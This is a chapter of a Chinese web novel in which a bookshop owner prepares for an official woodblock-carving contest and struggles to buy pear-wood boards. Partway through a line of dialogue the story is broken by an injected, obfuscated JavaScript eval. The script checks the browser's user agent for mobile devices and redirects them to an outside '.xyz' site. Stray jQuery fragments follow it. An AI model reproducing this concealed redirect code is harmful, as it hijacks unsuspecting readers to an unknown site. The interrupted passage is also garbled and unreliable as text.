78. 全员心焦火辣

作品:《书铺娘子盘下探花郎

    “七雅书铺”里大家忙得团团转,阿香从宋然处回来后全员陷入了心焦火辣,因为木材铺的伙计不卖板子给她。


    沈书韫眉心拧紧,没有时间质疑宋然,毕竟他并未在临京,距离九月初九重阳节,发售话本的日子只剩下二十日了。


    她需要在这段日子里,完成《案中姻缘》刻板、装订成册,同时,她亦需要准备“鉴版大会”参赛作品。


    往年“鉴版大会”按照书坊、书商到书行层层筛选,进而推荐能够参赛的刻工匠人,可官官相护,商官交错,使得真正有刻板技艺的人,与大会失之交臂,不能将自己精巧的刻板工艺展示出来。


    南朝上层看不见真正的民间精艺之人,对于国子监刻工充实是一大损失。


    南朝举办“鉴版大会”,一来为了招揽刻工,为南朝精选一部分人才,二来通过这样一场盛会,对外展示南朝文化。


    肃北点名向皇帝请求,要参加今年的“鉴版大会”,上一次的外交活动不尽如人意,但肃北终究未掀起真正的腥风血雨,不仅保持通县边陲之地合理的边界,还继续扩大了互市,南朝没有理由拒绝他们。


    今年盛会依旧由礼部尚书牵头,但是真正负责承办指挥的是礼部侍郎周海源周大人,他爱收藏古籍和书画,对刻工工艺亦有自己独到见解。


    选择周海源来全权负责,亦算是瞌睡遇到了枕头,相比往年,他提出要大量从民间,特别是小书铺的刻工进行刻工选拔,大会还是一如既往现场计时,在规定时间内刻出规定的内容,进而从所有作品中进行现场评议。


    与往年相比,今年提倡流程透明,公开公平公正,周海源指令征用南朝最大的一块地皮,届时用作比拼场地,而不是往年登山顶举行,皇帝亦批准了。


    “鉴板大会”采用三个环节,第一个环节,毛遂自荐。所有想要参加刻板比拼的刻工,提前准备好一副刻板,将自己认为最好的水平刻出来,在报名处登记入册。


    第二个环节,现场比拼。主持者发出今年比拼内容,由各位刻工按照既定要求进行现场刻板。


    第三个环节,终审鉴版。分为三轮,初审、复审和终审,根据现场鉴版师对所有作品进行鉴别,按照三轮审核制,评选出今年最佳作品。


    沈书韫欲将“七雅书铺”的名声提高到一定地位,那就离不开南朝官方认可,书行只是民间组织,并非官方机构,所以,她想要抓住这次难得的机会。


    她想将申夫子传授给她的一身好手艺,在众目睽睽之下展露,为书铺挣名气,挣口碑,亦为自己争口气。


    从小到大,她听得最多的便是“女子无才便是德”“女子一双手只适合做女工,不适合刻板”“女子刻板总是力道欠缺,不如男子收放自如的功夫......


    这世间,你想要钱,就得自己去挣。


    你想要尊严,也得自己去挣,去奋斗、去争、去同男子一般抢夺。


    她沈书韫从一个弃女走到现在,倘若妥协了任何一步,她便不会有今天的样子。


    尚在通县时,申夫子虽然教她读书写字长学识,可在他的观念里女子读点书无伤大雅,还可以更好地相夫教子,一举两得。


    申夫子最终目的是希望沈书韫拥有识文断字的能力后,在夫家藏拙守钝,服侍夫君,能够与夫君举案齐眉,琴瑟和谐,倘若再能与夫君吟诗作对,那自是才子佳人,相爱一生。


    初衷并非是要沈书韫独立开书铺。


    通县小报,一开始亦是沈书韫偷偷刻板,借着“七雅书铺”名头发行,而辅学册子亦是她千磨万击烦扰申夫子。


    申夫子实在是忍无可忍,才被迫做了这么档子事,至于来临京开书铺,更是她沈书韫一次次主动选择,主动迎接挑战而成。


    倘若不是,她在通县就听了申夫子的话,早早地嫁人生了孩子,若不是自己做主,梁知远当初申办牙贴为难她时,简禄存借名头招揽她时......


    以沈书韫的美貌,只需要一点点向这个依旧男子主导的南朝社会妥协,她就可以成为阔夫人、宠妾、情人......总之不缺钱的任何身份。


    但她依旧选择自力更生,艰苦创业,在她的观念里,纵使世间千难万险,要活得尽兴潇洒,不设限,永远主持自己。


    可“主持自己”的难度,难以言说,有的女子可能一生都为此献祭,沈书韫不知道自己的命运几何。


    但不由自己控制和掌握的东西,她不会过于杞人忧天,只消做好当下的每一件事,正所谓关关难过关关过,前路漫漫亦灿灿。


    要是能在“鉴版大会”拔得头筹,获奖人将被征集成为国子监刻工,这意味着成为官刻工匠,从此进入南朝权利体系。


    而后在国子监里不断修炼,成为一名足够优秀的刻工,还可以参与南朝对外文化交流事务,代表南朝出海至番邦各国展示南朝技艺,也可受邀进入别国,享受最高礼遇,获得两国人民好评,以至口口相传,成为文化名人。


    要是真能赢得“鉴版大会”,“七雅书铺”将会有极大的可能升级成为临京城有名的书坊,而且借着“鉴版大会”官方认可的殊荣,乘东风,将“七雅书铺”开遍南朝的各个州府县城。


    毫无疑问,这般刻工的后人亦可三代受皇恩沐浴,于整个家族而言,虽然不及科举考成,取得像梁知远这般直接入仕,可依旧沾着千军万马过独木桥的巨大荣光,亦真正能做到光宗耀祖,衣锦还乡。


    沈书韫自然极度重视这样一场盛会,可话本需要她统领,而刻板亦需要她花功夫打磨,她分身乏术。


    宋然不在,那就只得另寻木材,一来《案中姻缘》需要,二来“鉴版大会”训练亦需要。


    可眼下,听阿香说她跑遍了木材铺,都没有人卖刻板材料于她。


    “七雅书铺”内,柳摇金和阮怜意亦在,阮怜意从前并未接触过书行之事,现在亦算是现学先用。


    “难道又有人搞我们嚒?”柳摇金摇着扇子,戳了一下旁边的阮怜意,“临京城就这样,总是存在这样的恶性竞争,你先前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104835|177173||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不也遇到过嚒。”


    阮怜意当初和琴坊合作,自己规划出来系列教程,临到正式教授弟子时,却被琴坊坑了一波,琴坊看重阮怜意精湛的琴艺,但又嫌弃她不光彩的出身。


    于是,琴坊掌柜临阵脱逃,毁约不止,还把她辛辛苦苦写的教程山寨了过去,自己重新招揽了一批琴师将此临摹,大赚特赚,到现在那一家琴坊因阮怜意系统的教程,越做越大,生意红红火火。


    阮怜意向来对传道受业,兴趣浓厚,自己一身琴艺,无用武之地,她喜欢为人师,为人表的成就感,她太希望得到肯定了。


    从前跟着养父时,每一次练琴还是作画,她不是为了自己,而是为了讨好养父,博得养父的认可。


    多年坚持下来,直到自己知道真相,曾赖以支撑的精神支柱崩塌了,有一段时间,她不知道自己再继续练作画、赋诗,究竟是自己真正喜欢,还是为了迎合他人?


    她的养父被人暗杀后,她好似一艘远洋航行的船,突然失去了风帆,直到后来遇上了自己的契机。


    愈是繁荣的地方,愈是滋生尔虞我诈与烂腐气息,无法避免,自从阮怜意上次被人欺骗,至今不敢再轻易与人合作共事。


    直到沈书韫出现,她一开始亦是小心翼翼,可沈书韫每一次与她坦诚相待,越来越令她安下心来,逐渐生出了厚实的信任。


    虽然这一次不是“传道受业”的活儿,终究亦与书相关,与书相关,就意味着自己尚且还有机会,不过她内心最想要做的事,并未急着与沈书韫说道。


    “这样,摇金你同怜意明天最后一天,分别去东市与西市的木材铺询问一遍,看有没有人愿意卖给我们?”


    “我识得几个书坊掌柜,实在不行,先从他们那里购买,哪怕价钱高一点亦没有关系。”沈书韫将自己和各人分工再次做了明确。


    翌日,东西两市出现了柳摇金、苏二娘、阮怜意的身影,他们仨挨着一家一家的木材铺询问,一上午过去,没有一家愿意卖给他们刻板的梨木板材。


    沈书韫从成本考虑,梨木原本是最好买的一种刻板材料,毕竟它是最常用的,可她万万没想到被卡在这个环节。


    距离上一次书行集会已有一段时日,坐在沈书韫身侧“集贤斋”的冉掌柜看上去和别的掌柜似乎多了分善意,她考虑今日去他的“集贤斋”试试。


    八月中旬的日头正盛,沈书韫刚从马车上下来,额头上的汗珠便顺着脸颊滑落至薄纱面上,她拨了拨粘在身体上的衣裙,抬手垂目挡了挡冲天的烈日。


    “集贤斋”三个大字刻印在乌木上,描金还镶嵌了闪闪发亮的什么东西,阳光直射,有种集合万丈光芒的视觉感,这样的店铺牌匾,沈书韫很欣赏,个性之余不失文气。


    临京城所有的书坊都巴不得将自己的铺子装潢得书香文雅,可背后干得勾当却和文雅不沾边,表里不一的性质从招牌便开始了。


    沈书韫正要一脚踏入“集贤斋”,左臂垂落的手腕,忽地被一宽大的手掌从后握住……